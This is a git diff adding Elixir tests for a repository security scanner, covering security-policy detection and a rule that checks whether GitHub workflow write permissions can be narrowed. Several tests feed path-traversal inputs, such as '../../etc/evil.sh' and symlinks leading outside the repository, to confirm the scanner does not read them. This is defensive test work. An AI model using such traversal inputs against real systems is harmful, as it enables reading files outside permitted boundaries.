b/test/scorecard_ingestor_security_policy_test.exs @@ -0,0 +1,37 @@ +# SPDX-License-Identifier: MPL-2.0 +defmodule Hypatia.ScorecardIngestorSecurityPolicyTest do + # absolute-zero ships SECURITY.adoc; the local Scorecard check demanded the + # literal SECURITY.md and reported it missing while the CI/CD requirement + # (fixed in the same sweep) accepted it. Both now share one acceptance set. + use ExUnit.Case, async: true + + setup do + dir = Path.join(System.tmp_dir!(), "scorecard-secpol-#{System.unique_integer([:positive])}") + File.mkdir_p!(dir) + on_exit(fn -> File.rm_rf!(dir) end) + %{dir: dir} + end + + defp policy_findings(dir) do + {:ok, findings} = Hypatia.ScorecardIngestor.local_scan(dir, "fixture") + Enum.filter(findings, &(&1["category"] == "SecurityPolicy")) + end + + test "no policy document is reported", %{dir: dir} do + assert [_] = policy_findings(dir) + end + + for rel <- ["SECURITY.md", "SECURITY.adoc", ".github/SECURITY.rst", "docs/SECURITY.adoc"] do + test "#{rel} satisfies the check", %{dir: dir} do + path = Path.join(dir, unquote(rel)) + File.mkdir_p!(Path.dirname(path)) + File.write!(path, "= Security\n") + assert [] = policy_findings(dir) + end + end + + test "an unrelated SECURITY.txt does not", %{dir: dir} do + File.write!(Path.join(dir, "SECURITY.txt"), "x") + assert [_] = policy_findings(dir) + end +end diff --git a/test/workflow_hardening_test.exs b/test/workflow_hardening_test.exs index 7d12c29c..fb51b0dd 100644 --- a/test/workflow_hardening_test.exs +++ b/test/workflow_hardening_test.exs @@ -528,6 +528,141 @@ defmodule Hypatia.Rules.WorkflowHardeningTest do # state was WH002 answering the first question WITHOUT the second, so its # remediation removed a capability the workflow depended on. + describe "wh002_excessive_permissions/1 — writes one call away (absolute-zero wiki-sync)" do + defp wiki_sync_repo(script_body, run_line) do + repo = + create_repo_with_workflow(""" + name: Wiki Sync + permissions: + contents: write + jobs: + sync: + runs-on: ubuntu-latest + steps: + - run: #{run_line} + """) + + File.mkdir_p!(Path.join(repo, "scripts")) + File.write!(Path.join(repo, "scripts/wiki-sync.sh"), script_body) + repo + end + + test "a git push inside a called repo script counts as a write" do + repo = wiki_sync_repo("git push origin master\n", "bash scripts/wiki-sync.sh") + [f] = WorkflowHardening.wh002_excessive_permissions(repo) + assert f.severity == :warn + refute f.reason =~ "safe to narrow" + File.rm_rf!(repo) + end + + test "a called script that does not write keeps the :high narrowing advice" do + repo = wiki_sync_repo("echo hello\n", "./scripts/wiki-sync.sh") + [f] = WorkflowHardening.wh002_excessive_permissions(repo) + assert f.severity == :high + File.rm_rf!(repo) + end + + test "a script path escaping the repo is not followed" do + repo = wiki_sync_repo("echo hello\n", "bash ../../etc/evil.sh") + [f] = WorkflowHardening.wh002_excessive_permissions(repo) + assert f.severity == :high + File.rm_rf!(repo) + end + + # CodeRabbit on #883: relative commands run in the effective + # working directory, not the repo root. + defp scripts_dir_repo(steps_yaml, defaults_yaml \\ "") do + repo = + create_repo_with_workflow(""" + name: Wiki Sync + permissions: + contents: write + #{defaults_yaml} + jobs: + sync: + runs-on: ubuntu-latest + #{steps_yaml} + """) + + File.mkdir_p!(Path.join(repo, "scripts")) + File.write!(Path.join(repo, "scripts/wiki-sync.sh"), "git push origin HEAD\n") + repo + end + + test "a step-level working-directory is honoured" do + repo = + scripts_dir_repo(""" + steps: + - working-directory: scripts + run: bash wiki-sync.sh + """) + + [f] = WorkflowHardening.wh002_excessive_permissions(repo) + refute f.reason =~ "safe to narrow" + assert f.severity == :warn + File.rm_rf!(repo) + end + + test "an inherited defaults.run.working-directory is honoured" do + repo = + scripts_dir_repo( + """ + steps: + - run: ./wiki-sync.sh + """, + """ + defaults: + run: + working-directory: ./scripts + """ + ) + + [f] = WorkflowHardening.wh002_excessive_permissions(repo) + refute f.reason =~ "safe to narrow" + File.rm_rf!(repo) + end + + test "an in-repo script that cannot be found is never called safe to narrow" do + repo = wiki_sync_repo("echo hello\n", "bash ci/release.sh") + [f] = WorkflowHardening.wh002_excessive_permissions(repo) + assert f.severity == :warn + assert f.reason =~ "ci/release.sh" + refute f.reason =~ "safe to narrow" + File.rm_rf!(repo) + end + + # CodeRabbit on #883 (CWE-22): File.regular?/1 follows links, so a linked + # script or parent directory would read outside the repository. + test "a symbolic-linked script is not read" do + outside = Path.join(@tmp_dir, "wh_outside_#{System.unique_integer([:positive])}.sh") + File.write!(outside, "git push origin HEAD\n") + repo = wiki_sync_repo("echo hello\n", "bash scripts/linked.sh") + File.ln_s!(outside, Path.join(repo, "scripts/linked.sh")) + + assert WorkflowHardening.with_local_scripts("bash scripts/linked.sh", repo) == + "bash scripts/linked.sh" + + [f] = WorkflowHardening.wh002_excessive_permissions(repo) + assert f.reason =~ "symbolic link" + File.rm_rf!(repo) + File.rm!(outside) + end + + test "a script under a symbolic-linked parent directory is not read" do + outside = Path.join(@tmp_dir, "wh_outside_dir_#{System.unique_integer([:positive])}") + File.mkdir_p!(outside) + File.write!(Path.join(outside, "evil.sh"), "git push origin HEAD\n") + repo = wiki_sync_repo("echo hello\n", "bash linked/evil.sh") + File.ln_s!(outside, Path.join(repo, "linked")) + + assert WorkflowHardening.with_local_scripts("bash linked/evil.sh", repo) == + "bash linked/evil.sh" + + File.rm_rf!(repo) + File.rm_rf!(outside) + end + end + describe "wh002_excessive_permissions/1 — three probes, not one" do test "no write performed: narrowing is real hardening, stays :high" do repo =